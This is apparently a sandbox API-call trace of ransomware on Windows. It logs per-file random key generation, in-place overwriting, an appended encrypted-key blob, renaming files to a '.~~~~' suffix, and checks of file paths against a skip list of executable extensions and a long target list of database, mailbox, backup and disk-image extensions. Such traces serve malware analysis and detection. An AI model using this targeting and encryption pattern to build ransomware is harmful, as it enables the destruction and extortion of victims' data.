	[0080.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.680] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.681] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.681] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.681] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20067123666) returned 1
	[0080.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99f16470, dwHighDateTime=0x1d60e1e)) 
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bcf0
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcf0 | out: hHeap=0x300000) returned 1
	[0080.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd8c8
	[0080.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd8c8 | out: hHeap=0x300000) returned 1
	[0080.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.682] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.682] GetLastError () returned 0x0
	[0080.682] GetLastError () returned 0x0
	[0080.682] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.682] GetLastError () returned 0x0
	[0080.682] GetLastError () returned 0x0
	[0080.682] ReadFile (in: hFile=0x134, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x1f8fec0*=0x3b78, lpOverlapped=0x0) returned 1
	[0080.685] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffc488, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.685] WriteFile (in: hFile=0x134, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x3b78, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b78, lpOverlapped=0x0) returned 1
	[0080.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.685] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.685] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.685] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.685] CloseHandle (hObject=0x134) returned 1
	[0080.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.~~~~")) returned 1
	[0080.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faef0 | out: hHeap=0x300000) returned 1
	[0080.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.687] GetLastError () returned 0x0
	[0080.687] RtlWakeConditionVariable () returned 0x365f70
	[0080.687] GetCurrentThreadId () returned 0xaf0
	[0080.687] GetCurrentThreadId () returned 0xaf0
	[0080.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa218 | out: hHeap=0x300000) returned 1
	[0080.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd28 | out: hHeap=0x300000) returned 1
	[0080.687] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.687] lstrlenW (lpString=".scr") returned 4
	[0080.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".scr") returned 0x0
	[0080.687] lstrlenW (lpString=".cmd") returned 4
	[0080.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".cmd") returned 0x0
	[0080.687] lstrlenW (lpString=".dll") returned 4
	[0080.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dll") returned 0x0
	[0080.687] lstrlenW (lpString=".bat") returned 4
	[0080.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".bat") returned 0x0
	[0080.687] lstrlenW (lpString=".cpl") returned 4
	[0080.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".cpl") returned 0x0
	[0080.687] lstrlenW (lpString=".sys") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".sys") returned 0x0
	[0080.688] lstrlenW (lpString=".msc") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".msc") returned 0x0
	[0080.688] lstrlenW (lpString=".com") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".com") returned 0x0
	[0080.688] lstrlenW (lpString=".lnk") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".lnk") returned 0x0
	[0080.688] lstrlenW (lpString=".msp") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".msp") returned 0x0
	[0080.688] lstrlenW (lpString=".pif") returned 4
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".pif") returned 0x0
	[0080.688] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.689] lstrlenW (lpString=".sqb") returned 4
	[0080.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".sqb") returned 0x0
	[0080.689] lstrlenW (lpString=".ost") returned 4
	[0080.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".ost") returned 0x0
	[0080.689] lstrlenW (lpString=".txt") returned 4
	[0080.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".txt") returned 0x0
	[0080.689] lstrlenW (lpString=".mdt") returned 4
	[0080.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".mdt") returned 0x0
	[0080.689] lstrlenW (lpString=".BDB") returned 4
	[0080.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".BDB") returned 0x0
	[0080.689] lstrlenW (lpString=".eql") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".eql") returned 0x0
	[0080.690] lstrlenW (lpString=".DBF") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DBF") returned 0x0
	[0080.690] lstrlenW (lpString=".EQL") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".EQL") returned 0x0
	[0080.690] lstrlenW (lpString=".FDB") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".FDB") returned 0x0
	[0080.690] lstrlenW (lpString=".EDB") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".EDB") returned 0x0
	[0080.690] lstrlenW (lpString=".DACPAC") returned 7
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DACPAC") returned 0x0
	[0080.690] lstrlenW (lpString=".VHD") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".VHD") returned 0x0
	[0080.690] lstrlenW (lpString=".DBV") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DBV") returned 0x0
	[0080.690] lstrlenW (lpString=".dacpac") returned 7
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dacpac") returned 0x0
	[0080.690] lstrlenW (lpString=".sdf") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".sdf") returned 0x0
	[0080.690] lstrlenW (lpString=".accdb") returned 6
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".accdb") returned 0x0
	[0080.690] lstrlenW (lpString=".DBX") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DBX") returned 0x0
	[0080.690] lstrlenW (lpString=".MDT") returned 4
	[0080.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".MDT") returned 0x0
	[0080.691] lstrlenW (lpString=".SQB") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".SQB") returned 0x0
	[0080.691] lstrlenW (lpString=".vhd") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".vhd") returned 0x0
	[0080.691] lstrlenW (lpString=".bac") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".bac") returned 0x0
	[0080.691] lstrlenW (lpString=".mdf") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".mdf") returned 0x0
	[0080.691] lstrlenW (lpString=".BAK") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".BAK") returned 0x0
	[0080.691] lstrlenW (lpString=".BAC") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".BAC") returned 0x0
	[0080.691] lstrlenW (lpString=".dbs") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dbs") returned 0x0
	[0080.691] lstrlenW (lpString=".vhdx") returned 5
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".vhdx") returned 0x0
	[0080.691] lstrlenW (lpString=".NDF") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".NDF") returned 0x0
	[0080.691] lstrlenW (lpString=".dat") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dat") returned 0x0
	[0080.691] lstrlenW (lpString=".DBS") returned 4
	[0080.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DBS") returned 0x0
	[0080.691] lstrlenW (lpString=".CKP") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".CKP") returned 0x0
	[0080.692] lstrlenW (lpString=".edb") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".edb") returned 0x0
	[0080.692] lstrlenW (lpString=".PST") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".PST") returned 0x0
	[0080.692] lstrlenW (lpString=".dbf") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dbf") returned 0x0
	[0080.692] lstrlenW (lpString=".SQL") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".SQL") returned 0x0
	[0080.692] lstrlenW (lpString=".pst") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".pst") returned 0x0
	[0080.692] lstrlenW (lpString=".dbv") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dbv") returned 0x0
	[0080.692] lstrlenW (lpString=".SDF") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".SDF") returned 0x0
	[0080.692] lstrlenW (lpString=".dtxs") returned 5
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dtxs") returned 0x0
	[0080.692] lstrlenW (lpString=".db3") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".db3") returned 0x0
	[0080.692] lstrlenW (lpString=".OST") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".OST") returned 0x0
	[0080.692] lstrlenW (lpString=".dbx") returned 4
	[0080.692] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dbx") returned 0x0
	[0080.692] lstrlenW (lpString=".DB3") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DB3") returned 0x0
	[0080.693] lstrlenW (lpString=".DAT") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DAT") returned 0x0
	[0080.693] lstrlenW (lpString=".VHDX") returned 5
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".VHDX") returned 0x0
	[0080.693] lstrlenW (lpString=".ndf") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".ndf") returned 0x0
	[0080.693] lstrlenW (lpString=".DB") returned 3
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DB") returned 0x0
	[0080.693] lstrlenW (lpString=".sql") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".sql") returned 0x0
	[0080.693] lstrlenW (lpString=".MYD") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".MYD") returned 0x0
	[0080.693] lstrlenW (lpString=".DBT") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DBT") returned 0x0
	[0080.693] lstrlenW (lpString=".ACCDB") returned 6
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".ACCDB") returned 0x0
	[0080.693] lstrlenW (lpString=".fdb") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".fdb") returned 0x0
	[0080.693] lstrlenW (lpString=".bak") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".bak") returned 0x0
	[0080.693] lstrlenW (lpString=".myd") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".myd") returned 0x0
	[0080.693] lstrlenW (lpString=".DTXS") returned 5
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".DTXS") returned 0x0
	[0080.693] lstrlenW (lpString=".ckp") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".ckp") returned 0x0
	[0080.693] lstrlenW (lpString=".dbt") returned 4
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".dbt") returned 0x0
	[0080.693] lstrlenW (lpString=".db") returned 3
	[0080.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".db") returned 0x0
	[0080.694] lstrlenW (lpString=".TXT") returned 4
	[0080.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".TXT") returned 0x0
	[0080.694] lstrlenW (lpString=".MDF") returned 4
	[0080.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".MDF") returned 0x0
	[0080.694] lstrlenW (lpString=".bdb") returned 4
	[0080.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".bdb") returned 0x0
	[0080.694] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.694] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.694] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.695] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.695] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.695] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20068524958) returned 1
	[0080.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99f3c5d0, dwHighDateTime=0x1d60e1e)) 
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bd28
	[0080.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd28 | out: hHeap=0x300000) returned 1
	[0080.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd8c8
	[0080.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
